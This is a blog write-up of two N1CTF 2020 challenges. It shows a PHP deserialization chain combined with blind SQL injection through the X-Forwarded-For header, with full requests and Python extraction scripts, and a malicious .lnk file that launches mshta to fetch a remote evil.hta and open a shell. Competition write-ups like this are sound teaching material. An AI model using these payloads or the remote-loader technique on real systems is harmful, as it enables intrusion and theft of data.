c1ay's blog

2020 N1CTF writeup

ctf
字数统计: 2.4k阅读时长: 13 min
2020/10/19 Share

队伍ID：GUTS，web狗个人参赛

做出的题目
mark

web-SignIn

这道题自己用注入注入出的key，然后通过key获取的flag，不知道其他师傅都是怎么解的

题目代码：

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<?php 
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}   
class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
    	if(md5($this->check)===md5("key****************")){
    		readfile('/flag');
    	}
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }   
}
if(isset($_GET['input'])){
    $input = $_GET['input'];
	unserialize($input);
}

查看代码，在flag类当中的getflag方法当中可以获取flag，但是需要满足md5($this->check)===md5("key****************")，所以需要先获取key****************的值

在$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());这段代码位置可能存在sql注入，可以通过构造反序列化先到这一步

刚好flag类当中__wakeup方法的位置使用了stristr字符串函数，所有这里可以触发ip类的__toString方法

构造pop链

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<?php
class ip
{
}   
class flag
{
    public $ip;
    public function __construct()
    {
        $this->ip=new ip();
    }
}   
$obj=new flag();
echo serialize($obj);
?>

得到

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O:4:"flag":1:{s:2:"ip";O:2:"ip":0:{}}

添加X-Forwarded-For头发送即可，但是这里经过了ip类的waf函数，这里并不知道过滤了什么，简单测试了一下，输入sleep等关键字会提示hackhack

尝试了好久的注入，发现并没有明显的响应可以判断是否存在注入，被这个$this->waf卡了好久

于是又仔细读了一遍代码，发现在ip类当中返回了sql的错误信息，但是并没有输出到页面当中，而是赋值给了flag类当中的$this->ip

mark

那么如果这里返回的错误信息当中有n1ctf就会输出welcome to n1ctf2020,否则就会输出noip，所以可以通过这种方式进行盲注

于是需要解决的问题就变为了如何让sql错误信息当中出现n1ctf，查看代码看到当前的数据库名刚好为n1ctf_websign，于是构造：

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GET /index.php?input=O:4:%22flag%22:1:{s:2:%22ip%22;O:2:%22ip%22:0:{}} HTTP/1.1
Host: 101.32.205.189
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 1.1.1.1' and updatexml(1,if((1=1),1,concat(0x3a,database())),1) and '1'='

此时if判断为true，执行了INSERT into n1ip(`ip`,`time`) VALUES ('1.1.1.1' and updatexml(1,1,1) and '1'='',time())，语句没有产生报错，所以返回noip
mark

构造：

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GET /index.php?input=O:4:%22flag%22:1:{s:2:%22ip%22;O:2:%22ip%22:0:{}} HTTP/1.1
Host: 101.32.205.189
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 1.1.1.1' and updatexml(1,if((1=2),1,concat(0x3a,database())),1) and '1'='

此时if判断为false，语句执行了INSERT into n1ip(`ip`,`time`) VALUES ('1.1.1.1' and updatexml(1,concat(0x3a,database()),1) and '1'='',time())，后端sql报错信息大概是XPATH syntax error: ':n1ctf_websign'，错误信息返回给了flag类的$this->ip，从报错信息当中匹配到了n1ctf，于是这里输出了welcome to n1ctf2020

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为了方便理解，可以看下面两张图：

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接着盲注，首先获取表名

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GET /index.php?input=O:4:%22flag%22:1:{s:2:%22ip%22;O:2:%22ip%22:0:{}} HTTP/1.1
Host: 101.32.205.189
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 1.1.1.1' and updatexml(1,if(((select length(group_concat(table_name)) from information_schema.tables where table_schema=database())=10),1,concat(0x3a,database())),1) and '1'='

mark

通过代码已知一个表n1ip，group_concat(table_name)总长度为10，于是剩下一个表长度为5（因为group_concat结果中有一个逗号）
推测另一个表为n1key,推测成立

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GET /index.php?input=O:4:%22flag%22:1:{s:2:%22ip%22;O:2:%22ip%22:0:{}} HTTP/1.1
Host: 101.32.205.189
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 1.1.1.1' and updatexml(1,if(((select table_name from information_schema.tables where table_schema=database() limit 1,1)='n1key'),1,concat(0x3a,database())),1) and '1'='

mark

获取n1key表当中的列名

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GET /index.php?input=O:4:%22flag%22:1:{s:2:%22ip%22;O:2:%22ip%22:0:{}} HTTP/1.1
Host: 101.32.205.189
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 1.1.1.1' and updatexml(1,if(((select length(group_concat(column_name)) from information_schema.columns where table_name='n1key')=6),1,concat(0x3a,database())),1) and '1'='

mark

判断出group_concat(column_name)长度为6

编写获取列名脚本

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import requests 
session = requests.Session()    
column=""   
for i in range(1,7):
    for j in range(97,127):
        paramsGet = {"input":"O:4:\"flag\":1:{s:2:\"ip\";O:2:\"ip\":0:{}}"}
        headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0","Connection":"close","X-Forwarded-For":"1.1.1.1' and updatexml(1,if(((select ascii(substr(group_concat(column_name),{},1)) from information_schema.columns where table_name='n1key')={}),1,concat(0x3a,database())),1) and '1'='".format(i,j),"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate"}
        #print headers
        response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers)
        #print response.content
        if "<code>noip</code></pre>" in response.content:
            column+=chr(j)
            print column
            break

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两列：id和key

获取key的时候需要使用select `key` from n1key,直接select key会出现sql语法错误，这一点需要注意

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判断出n1key当中key列内容长度为25

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GET /index.php?input=O:4:%22flag%22:1:{s:2:%22ip%22;O:2:%22ip%22:0:{}} HTTP/1.1
Host: 101.32.205.189
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 1.1.1.1' and updatexml(1,if(((select length(`key`) from n1key)=25),1,concat(0x3a,database())),1) and '1'='

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编写获取key脚本

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import requests 
l="1234567890qazxswedcvfrtgbnhyujmkiolp"
session = requests.Session()
key=""  
for i in range(1,26):
    for j in l:
        paramsGet = {"input":"O:4:\"flag\":1:{s:2:\"ip\";O:2:\"ip\":0:{}}"}
        headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0","Connection":"close","X-Forwarded-For":"1.1.1.1' and updatexml(1,if(((select substr(`key`,{},1) from n1key)='{}'),1,concat(0x3a,database())),1) and '1'='".format(i,j),"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate"}
        response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers)
        if "<code>noip</code></pre>" in response.content:
            key+=j
            print key
            break

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获取到key为n1ctf20205bf75ab0a30dfc0c

之后就是通过反序列化构造poc获取flag

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<?php
class flag
{
    public $check;
    public function __construct()
    {
        $this->check="n1ctf20205bf75ab0a30dfc0c";
    }
}
echo serialize(new flag());
?>

得到

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O:4:"flag":1:{s:5:"check";s:25:"n1ctf20205bf75ab0a30dfc0c";}

成功获取flag

mark

n1ctf{you_g0t_1t_hack_for_fun}

The King Of Phish (Victim Bot)

python代码如下

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# Victim bot
import os
import subprocess
import uuid
import LnkParse3 as Lnk
from flask import Flask, request    
app = Flask(__name__)   
@app.route('/')
def index():
    source = open(__file__, 'r').read().replace("\n", "\x3c\x62\x72\x3e").replace(" ", "\x26\x6e\x62\x73\x70\x3b")
    return source   
@app.route('/send', methods=['POST'])
def sendFile():
    if 'file' not in request.files:
        return 'No file part'
    file = request.files['file']    
    if file.filename == '':
        return 'No selected file'
    data = file.stream.read()
    if not data.startswith(b"\x4c\x00"):
        return "You're a bad guy!"
    shortcut = Lnk.lnk_file(indata=data)
    if shortcut.data['command_line_arguments'].count(" "):
        return "File is killed by antivirus."
    filename = str(uuid.uuid4())+".lnk"
    fullname = os.path.join(os.path.abspath(os.curdir) + "/uploads", filename)
    open(fullname, "wb").write(data)
    clickLnk(fullname)
    return "Clicked."   
def clickLnk(lnkPath):
    subprocess.run('cmd /c "%s"' % lnkPath, capture_output=True, shell=True, check=True)    
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

阅读代码，看样子是需要上传lnk文件，然后执行文件getshell，但是不能有空格

LnkParse3库

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最终找到可以上线的方法，通过mshta上线

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制作test.lnk

C:\Windows\System32\mshta.exe http://x.x.x.x/evil.hta

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测试无空格

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上传test.lnk，上线成功

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根据题目提示，最终在C:\Users\UserA\Desktop\flag.txt当中获取到了flag

mark

n1ctf{I'm_a_little_fish,_swimming_in_the_ocean}

在C:\Users\UserA\Desktop\目录下还看到了CVE-2020-1472目录，但是这个不影响获取flag，应该和后面的The King Of Phish (UserA-PC)或者The King Of Phish (DC)有关

原文作者：c1ay

原文链接：https://c1aysec.github.io/2020/10/19/2020 N1CTF writeup/

发表日期：October 19th 2020, 12:18:12 pm

更新日期：October 20th 2020, 11:00:28 am

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

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  1. 1. web-SignIn
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